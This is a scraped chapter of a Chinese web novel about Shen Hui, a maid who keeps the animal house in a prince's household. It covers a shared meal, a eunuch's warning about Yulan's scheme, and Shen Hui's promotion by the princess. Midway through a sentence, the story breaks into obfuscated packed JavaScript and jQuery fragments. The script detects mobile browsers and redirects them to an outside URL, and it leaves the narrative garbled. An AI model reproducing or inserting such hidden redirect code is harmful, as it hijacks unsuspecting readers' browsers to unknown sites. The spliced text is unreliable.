近来未下雪，天不冷，沈蕙邀沈薇、春桃和谷雨来兽房玩，四人支了两个炉子，一只炉子取暖兼煮茶、一只炉子烧得火旺些，上头放着陶锅做炉焙鸡。


    这炉焙鸡和三杯鸡、黄焖鸡差不多，将小鸡水煮过八成熟后切大块，丢进热锅中加小撮盐猛火翻炒，再慢慢炖煮到酥烂脱骨，中间小杯小杯得加清酒与醋，多次后渐渐入味，吃时酱汁浓郁，鸡肉醋味香醇，又有一丝酒气提鲜。


    “姐姐，你天天陪金云与糖糕玩怎得也不见成效，它俩还是这副胖成球的模样，甚至比前几日更肥了。”沈薇吃饭时不忘揉揉金云的大肚子，本还凝重的恐惧愈发消退，因手感柔软，难以停下来，“兽房不是已经限制糖糕吃肥肉了吗？”


    她摇摇头：“至于金云...能把威风凛凛的豹子养成大懒猫一般，是兽房的本事。”


    金云野性尽失，薇桃雨三人又常来兽房，起初虽害怕，但时日渐久后便知金云的懒惰与贪吃，只当它是大号肥猫。


    而动物太胖对健康有害，沈蕙怕金云、糖糕两坨大猫卒于肥胖并发症，努力多带它俩运动减肥。


    “我怀疑糖糕说不定只是表面乖觉，实在背地里悄悄来你们这偷吃东西。”沈蕙蹲在金云旁边捧着碗啃炉焙鸡，肉香四溢，“我总感觉它身上弥漫着股炖肉味。”


    “是嘛，我闻闻。”过了正月初七，楚王一家回府，春桃也终于得以随楚王妃出宫，她想抱起糖糕闻闻，托住它的两只胳肢窝，拼尽全力向上一提，却听腰间传来“噶嘣”一声，只得无奈作罢，“其实你们别担忧，宫里养小兽的人说狸奴比狮猫活得久，长寿的豹子更是能长到二十余岁，应该不用控制饮食，像人那般担心得病风吧。”


    当下不少人遵从医书记载的医理，认为过于喜爱吃肥肉会得一种名为“病风”的病症，以沈蕙理解的，这病风大约既是后世的心脑血管疾病。


    沈蕙略嫌弃：“不管会不会，仅仅看外形，也是有碍观瞻啊。”


    “其实阿蕙姐姐要不歇一歇吧。”谷雨饭量小，早早吃完，坐在廊下的小杌子上读书，闻言抬起头望望她，“金云和糖糕没瘦，你似乎反而瘦了不少。”


    “什么？”她震惊，摸向脸颊。


    “原先你的腰肢大概是这么粗，现在要收进去些。”谷雨比比手势，她精通女红，猜测人的尺寸不用仔细量，凭眼睛便能看出个大概。


    “不是吧......”沈蕙啃鸡腿啃得愈发狠，瞪着馋到连躺都躺不下去的糖糕，“我现在莫名其妙觉得它俩在嘲笑我。”


    沈薇给她夹肉：“来姐姐，多吃肉，把瘦的全补回来。”


    “我也快补补。”春桃也向锅中找肉吃。


    “宫里吃得不好？”沈蕙好奇道。


    春桃面色略戚戚，有苦难言，憋了半晌后长叹口气：“...宫里吃得当然好，是我无福消受。”


    除夕夜宴盛大，也会赐菜给奴婢们，但春桃哪里敢离开楚王妃去吃饭，白日里稍吃些点心，入夜后便硬生生饿着，总算熬过去了。


    “沈蕙姐姐可在？”关金云的院门半锁，门缝外一尖细稚嫩的声音恭敬地问。


    应是个小太监。


    金云感受到生人的气息，晃悠悠溜到门边看看。


    那小太监骤然望见只大豹子，吓得手脚僵直，但未后退，安定立在那，倒是冷静。


    “你倒是胆子大，莫论兽房外的人，连兽房里的有些丫鬟至今都不敢接近金云呢。”沈蕙叫走金云去开门，对这小太监心生些佩服。


    “姐姐办事稳妥，有姐姐在，金云定不会伤人。”这小太监面熟，曾来奉承过沈蕙，送了东西，“但凡事都可能有例外。”


    沈蕙减去几丝浮于表面的笑意：“你什么意思？”


    “我是前院马厩喂马的小阿喜，前院的规矩比后院还重，但马厩临近角门，我们出入王府比旁的下人容易些，消息也更灵通。”小阿喜上前几步，低声附耳说来，“我认识的人不多，不过是些扫洒、侍弄花草的奴仆，但往往正是这些不起眼的人才会听见意想不到的事情。”


    “此言有理。”沈蕙不动声色，示意他继续。


    “故而，昨日我猜测松竹堂的玉兰托人买了不干净的东西，或许和兽房有关。”他观沈蕙似乎不排斥自己，一咬牙全盘托出，“听闻玉兰和姐姐您中间有龃龉，玉兰的干娘洪妈妈还为难过兽房，我不敢耽误，忙不迭来给姐姐您报信了。”


    小阿喜在马厩养马，同时也接旁人的贿赂出府买点东西，某次他听了一丫鬟的请求，到坊门外拿个布包回来给丫鬟。


    原只是小事，谁料他送过布包再去喂马时，竟见乖顺的马匹想去踹他，好似受了什么刺激。


    他遂留了个心眼。


    待小丫鬟再次请求他传递布包后，他尾随一路，瞧着对方进了松竹堂。


    沈蕙思量片刻，没给他赏银，却道：“多谢弟弟，别与我生分，以后常来兽房走动。”


    “沈姑娘言重了。”小阿喜比得了赏银还高兴，“像您这般得侧妃喜爱的婢女什么没见过，我送过您的一对银钗只是粗俗物件，您却不嫌弃，照样收下，又认我做弟弟，我感激不尽。”


    他不能在后院逗留过久，一拜，迅速离开。


    “那太监应是比我大几岁，结


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524945|166052||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    果认起姐姐来毫不犹豫，如此伶俐的人物，为何还只是个小太监？”沈蕙回了炉子边继续吃，有些感慨。


    “阉人残缺，心里也比寻常人更奇怪些。”春桃语气可惜，“原先后院里不是不用太监，谁知他们内斗得一日比一日狠，又兼大王不喜宦官，便全被王妃换掉了。八成是那小太监太过机灵，才被看不得他出头的大太监打压呢。”


    —


    沈蕙仿佛没见过小阿喜一般。


    她照常吃喝玩乐，照常带着小动物去东园讨赵侧妃的欢心，跟个没事人似的。


    某日不巧，她去时楚王妃正领着众妃妾探望赵侧妃，一屋子人，脂粉味混香粉味混熏香味，香得她晕头转向，手提装小鹞子的笼子躲到角落里。


    小鹞子扑腾得欢，惹来楚王妃注目。


    鹞子和鹰、猞猁、豹子一样，均是随人打猎的鸟兽，曾精通骑射的楚王妃自然认得。


    “这是谁，妹妹你身边何时有这么小的丫鬟？”她瞥了沈蕙一眼。


    赵侧妃寻常答道：“兽房来的孩子，把大王赐下的小兽鸟雀养得不错。”


    楚王妃拍拍她的手，自其诞下五郎君、晋升侧妃后，两人倒是愈发亲昵：“是把鸟雀养得不错，有这些小玩意时常哄你一笑，我亦放心。”


    “其实都是大王和王妃的功劳，大王为妾身费力寻来乖巧的小兽，王妃屡次送来珍贵补品赏赐妾身。”赵侧妃却比以往愈发谨慎温顺。


    “你叫什么名字？”楚王妃唤沈蕙过来。


    沈蕙叉手垂头，走到约距离二妃三步远的地方默默站定：“回王妃，奴婢名叫阿蕙，是兽房的二等婢女。”


    “原来你便是沈蕙呀，许娘子的外甥女。府里有些奴婢见识短浅，都道兽房是伺候牲畜的地方，十分粗鄙。但只要是能哄主子开心的奴婢，就是好奴婢。如若不然，再聪慧周全、再仰仗着谁，也是无用之人。”今日众人全来探望赵侧妃，崔侧妃、郑侍妾等人俱在，楚王妃的这番话，分明意有所指。


    楚王妃明面上素来贤惠和善，鲜少有直言直语的时候，如今这般，显然是气极了。


    她捧着赵侧妃，顺便捧沈蕙：“侧妃为大王生儿育女，是后院里的功臣，我之下第一人，她既然喜欢你，我升你做一等，日后定不可辜负侧妃的爱重。”


    沈蕙被夸上一声“好奴婢”，心里五味杂陈，但面上必须笑得诚恳，福身谢恩。


    “你多歇息吧，这几天真是辛苦你了。元娘、四娘回府的日子定在了正月十三，你快准备，好好与大王、与我陪陪女儿。”楚王妃言罢，也不管其余妃妾什么脸色，兀自领了她们离去。